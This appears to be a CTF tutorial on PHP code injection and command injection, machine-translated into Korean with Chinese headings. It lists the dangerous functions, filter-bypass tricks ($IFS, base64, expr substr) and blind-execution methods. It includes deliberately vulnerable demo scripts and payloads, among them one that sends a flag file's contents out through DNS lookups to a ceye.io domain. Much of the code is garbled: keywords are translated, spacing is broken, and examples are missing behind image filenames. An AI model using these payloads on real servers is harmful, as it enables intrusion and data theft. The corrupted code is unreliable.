제목 : CTF의 명령 실행 취약성

CTF 中的命令执行漏洞相关​

코드에서 실행할 수있는 특수 함수 포털에 대한 필터링이 없으므로 사용자는 악의적 인 명령문을 제출하여 서버에 전달하여 실행할 수 있습니다.
이 취약성 공격의 성공의 주된 이유는 웹 서버가 System (), Eval (), exec () 등과 같은 함수의 매개 변수를 필터링하지 않기 때문입니다.

1 代码注入​

1.1 相关函数​

1.1.1 eval​

1
2
3
4
5
? php
hilight_file (__ file__);
$ a='phpinfo ();';
평가 ($ a);
?

1.1.2 assert​

20190114154122.png-water_print

1.1.3 call_user_func​

20190114154625.png-water_print

is_callable 함수를 사용하여 다시 호출 할 수 있는지 확인할 수 있습니다.

1.1.4 call_user_func_array​

20190114154922.png-water_print

1.1.5 create_function​

20210114155018.png-water_print

1.1.6 preg_replace​

20210114155342.png-water_print

패턴과 일치하는 피사체의 일부를 검색하고 교체 또는 실행 결과로 바꾸십시오.

1.1.7 array_map​

20190114160430.png-water_print

페이로드 : url? a=assertb=phpinfo ()

1.1.8 usort​

20190114160801.png-water_print

페이로드 : url? 1 []=phpinfo () 1 []=1232=assert

1.1.9 uasort​

20190114162913.png-water_print

1.1.10 ${php 代码}​

20190114163026.png-water_print

1.2 DEMO​

1
2
3
4
5
6
7
? php
하이라이트_file (__ file__);
$ price=$ _get [ 'price'];
$ code='echo $ name'. '가격'. $ 가격. ';';
$ b=create_function ( '$ name', $ code);
$ b ( 'iPhone');
?
페이로드 : url? price=123;} phpinfo ();/*

2 命令注入​

2.1 相关函数​

2.1.1 system​

20190114191146.png-water_print

2.1.2 exec​

20190114191300.png-water_print

2.1.3 passthru​

20190114191328.png-water_print

2.1.4 shell_exec​

20190114191425.png-water_print

2.1.5 `` 运算符​

20190114191642.png-water_print

2.1.6 ob_start​

20190114191719.png-water_print

2.2 命令执行的绕过​

2.2.1 命令执行的分隔符​

예를 들어 :
1
2
3
4
5
? php
하이라이트_file (__ file__);
$ rce='echo 123';
시스템 ($ rce. $ _get [1]);
?
명령 실행을 구현하는 방법
라인 브레이크 %0A
캐리지 리턴 %0D
지속적인 지시;
배경 프로세스
파이프 라인 기호 |
논리 ||,

2.2.2 命令执行的分隔符​

기호
$ ifs
$ {ifs}
$ 9 ifs $ 9
URL 배송의 경우 %09
$ {9}

2.2.3 其它 Tips​

2.2.3.1 命令拼接​

1
$ a=l; $ b=s; $ a $ b

2.2.3.2 base64 编码​

1
`echo chdk | Base64 -D`

2.2.3.3 substr string pos len​

이 표현식은 POS 위치에서 길이의 LEN이있는 서브 스트링을 취합니다. POS 또는 LEN이 비 양성 정수 인 경우 빈 문자열이 반환됩니다.
echo "$ {path33600:1}" - /
20190114193636.png-water_print

1
2
3
echo '`expr \ $ ifs \ substr \ $ ifs \\ $ (pwd) \\ $ ifs \ 1 \ $ ifs \ 1`'
echo` $ (expr $ {ifs} substr $ {ifs} $ pwd $ {ifs} 1 $ {ifs} 1)` - /
expr $ {ifs} substr $ {ifs} $ session_manager $ {ifs} 6 $ {ifs} 1 {$ ifs} 1
20190114193731.png-water_print

2.3 命令无回显的情况​

2.3.1 判断​

지연
ls | 수면 (3)
HTTP 요청
DNS 요청
ceye.io

2.3.2 利用​

쓰기 쉘 (직접 쓰기, 외부 다운로드)
HTTP/DNS 및 기타 방법을 가져 오는 방법

2.3.3 DEMO​

1
2
3
4
5
6
7
8
? php
하이라이트_file (__ file__);
포함 ( 'where_is_flag.php');
echo 'ping:';
$ ip=(문자열) $ _ get [ 'ping'];
$ ip=str_replace ( '', '0.0', $ IP);
shell_exec ( 'ping'. $ ip);
?
유효 탑재량:
1
2
ip=; cp where_is_flag.php 1.txt
ip=`cat 1.txt | sed s/[[:space:]] //` .xx.cey.io
기능
Cat 1.txt | sed s //[[:space:] //g는 공간을 제거하는 기능입니다
 
뒤로
상단